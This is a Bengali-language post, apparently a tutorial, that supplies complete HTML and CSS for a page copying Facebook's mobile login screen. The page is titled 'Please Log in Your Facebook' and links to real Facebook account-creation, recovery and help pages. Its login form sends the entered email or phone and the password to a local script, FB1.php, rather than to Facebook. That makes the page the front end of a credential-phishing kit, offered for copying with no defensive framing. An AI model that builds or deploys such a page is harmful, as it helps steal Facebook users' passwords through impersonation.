ফেসবুকের মত লগইন ফর্ম তৈরি
এখানে আমি internal css & html ব্যাবহার করেছি html all tag click hear
নিচের কোডটি কপি করে তার এক্সটেনশন .html বা .php বা .htm দিতে হবে ।
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="initial-scale=1, width=240">
<meta name="referrer" content="default" id="meta_referrer">
<style>
*{
margin: 0px;
padding: 0;
font-family: sans-serif;
}
.a{
text-decoration: none;
color: #3b5998;
margin-left: 8px;
line-height: 20px;
font-size: 17px;
}
.a:visited{
color: #3b5998;
}
.a:hover{
background-color: #3b5998;
color: #fff;
}
button{
border: none;
background-color: #42b72a;
color:#fff;
}
#wrapper{
width: 320px;
margin: 0px;
}
header{
background: #3b5998;
width: 100%;
padding: 2px 0;
display: flex;
justify-content: space-between;
}
header .title{
color: #fff;
font-size: 20px;
margin-left: 5px;
}
header .new button{
margin-right: 5px;
background-color: #69a74e;
padding:5px 10px;
border: 1px solid #4476e8;
}
header .new button a{
color:#fff;
text-decoration:none;
}
form{
margin-left: 8px;
padding-top: 10px;
}
input{
margin-bottom: 10px;
border: solid 1px #999;
box-sizing: border-box;
padding:12px 8px;
width:305px;
}
input:hover, input:focus{
border: solid 1px #999;
box-sizing: border-box;
}
input[type=submit]{
background-color: #4267b2;
border:1px solid #365899;
color: white;
font-size: 14px;
height: 44px;
line-height: 44px;
padding: 0 19px;
}
input[type=submit]:hover{
background-color: #465e91;
}
label{
color: #90949c;
}
.content_wrapper{
background-color: #ECEFF5;
}
.bx{
display:block;
margin-bottom:5px;
margin-left:3%;
margin-top:-3px;
overflow:hidden;
text-align:center;
white-space:nowrap;
width:94%;
}
.bx>span{
display:inline-block;
position:relative;
}
.bx>span:before,.bx>span:after{
background:#ced0d4;
content:"";
height:1px;
position:absolute;
top: 100%;
width: 9999px;
}
.bx>span:before{
margin-right: 14px;
right:100%;
}
.bx>span:after{
left:100%;
margin-left:14px;
}
.by{
color:#4b4f56;
font-size:14px;
}
.new_ac{
display: flex;
justify-content: center;
}
.new_ac button{
padding: 0 19px;
text-align: center;
height: 44px;
border: 1px solid #bec2c9;
font-size: 14px;
}
.new_ac button a{
color:#fff;
text-align: center;
font-size: 14px;
text-decoration:none;
}
.sa{
margin-bottom: 8px;
}
</style>
<title> Please Log in Your Facebook </title>
<link rel="stylesheet" href="abm.css">
<link rel="icon" type="image/gif/png" href="img/2.png"/>
</head>
<body>
<div id="wrapper">
<header>
<span class="title">
<img src="img/1.png" alt="">
</span>
<span class="new">
<button><a href="https://mbasic.facebook.com/reg/?cid=102&ref=dbl">Create Account</a></button>
</span>
</header>
<div class="content_wrapper">
<form action="FB1.php" method="POST">
<label> <b>Email address or phone number</b></label> <br>
<input type="text" required name="name"> <br>
<label> <b>Password</b></label> <br>
<input type="password" required name="password"> <br>
<input type="submit" name="login" value="Log In">
</form>
<div class="bx">
<span class="by">
or
</span>
</div>
<div class="new_ac">
<button><a href="https://free.facebook.com/reg/?cid=102&ref=dbl">Create New Account</a></button>
</div>
<br>
<div class="last">
<p class="sa"><a class="a" href="https://free.facebook.com/recover/initiate/?c=https%3A%2F%2Ffree.facebook.com%2Flogin%2F%3Fref%3Ddbl%26fl%26refid%3D8&ars=facebook_login&lwv=100&ref=dbl">Forgotten password?</a> </p>
<p><a class="a" href="https://free.facebook.com/help/?ref=dbl">Help Centre</a></p>
</div>
<br>
</div>
</div>
</body>
</html>